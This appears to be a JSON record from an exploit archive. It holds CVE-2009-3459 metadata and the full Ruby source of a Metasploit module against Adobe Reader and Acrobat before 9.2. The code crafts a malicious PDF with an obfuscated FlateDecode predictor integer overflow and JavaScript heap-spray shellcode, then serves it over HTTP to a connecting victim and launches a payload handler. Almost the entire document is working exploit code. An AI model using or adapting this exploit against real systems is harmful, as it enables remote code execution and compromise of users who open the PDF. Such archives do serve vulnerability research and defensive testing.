{"exploit":{"id":"EDB-16546","name":"Adobe - FlateDecode Stream Predictor 02 Integer Overflow (Metasploit) (1)","description":"Adobe - FlateDecode Stream Predictor 02 Integer Overflow (Metasploit) (1)","cves":["CVE-2009-3459"],"author":"Metasploit","published":"2010-09-20","platform":"windows","type":"local","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16546","path":"exploits/windows/local/16546.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16546.rb","vulnerabilities":[{"id":"CVE-2009-3459","state":"PUBLISHED","title":null,"titleSource":null,"description":"Heap-based buffer overflow in Adobe Reader and Acrobat 7.x before 7.1.4, 8.x before 8.1.7, and 9.x before 9.2 allows remote attackers to execute arbitrary code via a crafted PDF file that triggers memory corruption, as exploited in the wild in October 2009. NOTE: some of these details are obtained from third party information.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-3459","cvss":{"version":"3.1","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2009-3459"},"updatedAt":"2026-05-21T03:55:27.999Z","retrievedAt":"2026-11-27T05:51:29.877Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16546.png?v=2","url":"https://exploitbin.com/exploits/EDB-16546","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16546/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16546/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: adobe_flatedecode_predictor02.rb 10394 2010-09-20 08:06:27Z jduck $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\nrequire 'zlib'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = GoodRanking\n\n\tinclude Msf::Exploit::Remote::HttpServer::HTML\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'Adobe FlateDecode Stream Predictor 02 Integer Overflow',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits an integer overflow vulnerability in Adobe Reader and Adobe\n\t\t\t\tAcrobat Professional versions before 9.2.\n\t\t\t},\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Author'         =>\n\t\t\t\t[\n\t\t\t\t\t'unknown', # Found in the wild\n\t\t\t\t\t# Metasploit version by:\n\t\t\t\t\t'jduck',\n\t\t\t\t\t'jabra'\n\t\t\t\t],\n\t\t\t'Version'        => '$Revision: 10394 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2009-3459' ],\n\t\t\t\t\t[ 'BID', '36600' ],\n\t\t\t\t\t[ 'OSVDB', '58729' ],\n\t\t\t\t\t[ 'URL', 'http://blogs.adobe.com/psirt/2009/10/adobe_reader_and_acrobat_issue_1.html' ],\n\t\t\t\t\t[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ],\n\t\t\t\t\t[ 'URL', 'http://www.fortiguard.com/analysis/pdfanalysis.html' ],\n\t\t\t\t],\n\t\t\t'DefaultOptions' =>\n\t\t\t\t{\n\t\t\t\t\t'EXITFUNC' => 'process',\n\t\t\t\t},\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'         => 1024,\n\t\t\t\t\t'BadChars'      => \"\\x00\",\n\t\t\t\t\t'DisableNops'    => true\n\t\t\t\t},\n\t\t\t'Platform'       => 'win',\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t# test results (on Windows XP SP3)\n\t\t\t\t\t# reader 7.0.5 - untested\n\t\t\t\t\t# reader 7.0.8 - untested\n\t\t\t\t\t# reader 7.0.9 - untested\n\t\t\t\t\t# reader 7.1.0 - untested\n\t\t\t\t\t# reader 7.1.1 - untested\n\t\t\t\t\t# reader 8.0.0 - untested\n\t\t\t\t\t# reader 8.1.2 - untested\n\t\t\t\t\t# reader 8.1.3 - untested\n\t\t\t\t\t# reader 8.1.4 - untested\n\t\t\t\t\t# reader 8.1.5 - untested\n\t\t\t\t\t# reader 8.1.6 - untested\n\t\t\t\t\t# reader 9.0.0 - untested\n\t\t\t\t\t# reader 9.1.0 - works!\n\t\t\t\t\t# reader 9.2 - not vulnerable\n\t\t\t\t\t[ 'Adobe Reader Windows Universal (JS Heap Spray)',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Size'      => ((1024*1024) - 32)\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t],\n\t\t\t'DisclosureDate' => 'Oct 08 2009',\n\t\t\t'DefaultTarget'  => 0))\n\tend\n\n\tdef autofilter\n\t\tfalse\n\tend\n\n\tdef check_dependencies\n\t\tuse_zlib\n\tend\n\n\tdef on_request_uri(cli, request)\n\t\treturn if ((p = regenerate_payload(cli)) == nil)\n\n\t\t# Encode the shellcode.\n\t\tshellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))\n\n\t\t# Make some nops\n\t\tnops    = Rex::Text.to_unescape(make_nops(4))\n\n\t\t# Randomize variables\n\t\trand1  = rand_text_alpha(rand(100) + 1)\n\t\trand2  = rand_text_alpha(rand(100) + 1)\n\n\t\tscript = %Q|\nvar #{rand1} = unescape(\"#{shellcode}\");\nvar #{rand2} = unescape(\"#{nops}\");\nwhile (#{rand2}.length < #{target['Size']}) #{rand2} += #{rand2};\n#{rand2} = #{rand2}.substring(0, #{target['Size']} - #{rand1}.length);\nmemory = new Array();\nfor(i = 0; i < 128; i++) { memory[i]= #{rand2} + #{rand1}; }\n|\n\t\t# Create the pdf\n\t\tpdf = make_pdf(script)\n\n\t\tprint_status(\"Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...\")\n\n\t\tsend_response(cli, pdf, { 'Content-Type' => 'application/pdf' })\n\n\t\thandler(cli)\n\n\tend\n\n\tdef RandomNonASCIIString(count)\n\t\tresult = \"\"\n\t\tcount.times do\n\t\t\tresult << (rand(128) + 128).chr\n\t\tend\n\t\tresult\n\tend\n\n\tdef ioDef(id)\n\t\t\"%d 0 obj\" % id\n\tend\n\n\tdef ioRef(id)\n\t\t\"%d 0 R\" % id\n\tend\n\n\t#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/\n\tdef nObfu(str)\n\t\tresult = \"\"\n\t\tstr.scan(/./u) do |c|\n\t\t\tif rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'\n\t\t\t\tresult << \"#%x\" % c.unpack(\"C*\")[0]\n\t\t\telse\n\t\t\t\tresult << c\n\t\t\tend\n\t\tend\n\t\tresult\n\tend\n\n\tdef ASCIIHexWhitespaceEncode(str)\n\t\tresult = \"\"\n\t\twhitespace = \"\"\n\t\tstr.each_byte do |b|\n\t\t\tresult << whitespace << \"%02x\" % b\n\t\t\twhitespace = \" \" * (rand(3) + 1)\n\t\tend\n\t\tresult << \">\"\n\tend\n\n\tdef make_flate_data()\n\n\t\t# NOTE: this data is from the original, in-the-wild exploit...\n\t\t# on 9.1.0 xpsp3, this causes a crash executing 0x70000000\n\t\t# that's not exactly a fun address to try to heap spray to\n\t\tbpc = 1\n\t\tdata = \"\\x00\\x00\\x20\\x00\\x00\\x00\\x10\"\n\n\t\t# this way, we can adjust dwords on the heap by 8-bits of data..\n\t\t# this leads to eip being around 0x1000xxxx, much more friendly\n\t\tbpc = 8\n\t\taddend = 9\n\t\tdata = \"\\x00\" * 64\n\t\tdata[18,1] = [addend].pack('C')\n\t\tdata[51,1] = [addend].pack('C')\n\n\t\treturn bpc, data\n\tend\n\n\n\tdef make_pdf(js)\n\n\t\txref = []\n\t\teol = \"\\x0d\\x0a\"\n\t\tendobj = \"endobj\" << eol\n\n\t\t# Randomize PDF version?\n\t\tpdf = \"%PDF-1.5\" << eol\n\t\tpdf << \"%\" << RandomNonASCIIString(4) << eol\n\n\t\txref << pdf.length\n\t\tpdf << ioDef(1) << nObfu(\"<</Type/Catalog/Outlines \") << ioRef(2)\n\t\tpdf << nObfu(\"/Pages \") << ioRef(3)\n\t\tpdf << nObfu(\"/OpenAction \") << ioRef(5)\n\t\tpdf << \">>\" << endobj\n\n\t\txref << pdf.length\n\t\tpdf << ioDef(2) << nObfu(\"<</Type/Outlines/Count 0>>\") << endobj\n\n\t\txref << pdf.length\n\t\tpdf << ioDef(3) << nObfu(\"<</Type/Pages/Kids[\") << ioRef(4) << nObfu(\"]/Count 1>>\") << endobj\n\n\t\txref << pdf.length\n\t\tpdf << ioDef(4) << nObfu(\"<</Contents \") << ioRef(7)\n\t\tpdf << nObfu(\"/Type/Page/Parent \") << ioRef(3) << nObfu(\"/MediaBox[0 0 612 792]>>\") << endobj\n\n\t\txref << pdf.length\n\t\tpdf << ioDef(5) << nObfu(\"<</Type/Action/S/JavaScript/JS \") + ioRef(6) + \">>\" << endobj\n\n\t\txref << pdf.length\n\t\tcompressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))\n\t\tpdf << ioDef(6) << nObfu(\"<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>\" % compressed.length) << eol\n\t\tpdf << \"stream\" << eol\n\t\tpdf << compressed << eol\n\t\tpdf << \"endstream\" << eol\n\t\tpdf << endobj\n\n\t\t# generate data for inside the flate'd stream\n\t\tbits_per_component, data = make_flate_data()\n\t\tcompressed = Zlib::Deflate.deflate(data)\n\n\t\txref << pdf.length\n\t\tpdf << ioDef(7) << nObfu(\"<</DecodeParms\")\n\t\tpdf << nObfu(\"<</Columns 1/Predictor 02/Colors 1073741838/BitsPerComponent %s>>\" % bits_per_component)\n\t\tpdf << nObfu(\"/Length %s/Filter/FlateDecode>>\" % compressed.length)\n\t\tpdf << \"stream\" << eol\n\t\tpdf << compressed << eol\n\t\tpdf << \"endstream\" << eol\n\t\tpdf << endobj\n\n\t\txrefPosition = pdf.length\n\t\tpdf << \"xref\" << eol\n\t\tpdf << \"0 %d\" % (xref.length + 1) << eol\n\t\tpdf << \"0000000000 65535 f\" << eol\n\t\txref.each do |index|\n\t\t\tpdf << \"%010d 00000 n\" % index << eol\n\t\tend\n\t\tpdf << \"trailer\" << nObfu(\"<</Size %d/Root \" % (xref.length + 1)) << ioRef(1) << \">>\" << eol\n\t\tpdf << \"startxref\" << eol\n\t\tpdf << xrefPosition.to_s() << eol\n\t\tpdf << \"%%EOF\" << eol\n\n\tend\n\nend","sha256":"5e17b5611f547206103bcf419e6f4c29873674ac0175e9107d0177cb0b30ca30","bytes":6486,"fetchedAt":"2026-11-27T14:07:41.991Z","encoding":"utf-8 (display only; download retains original bytes)"}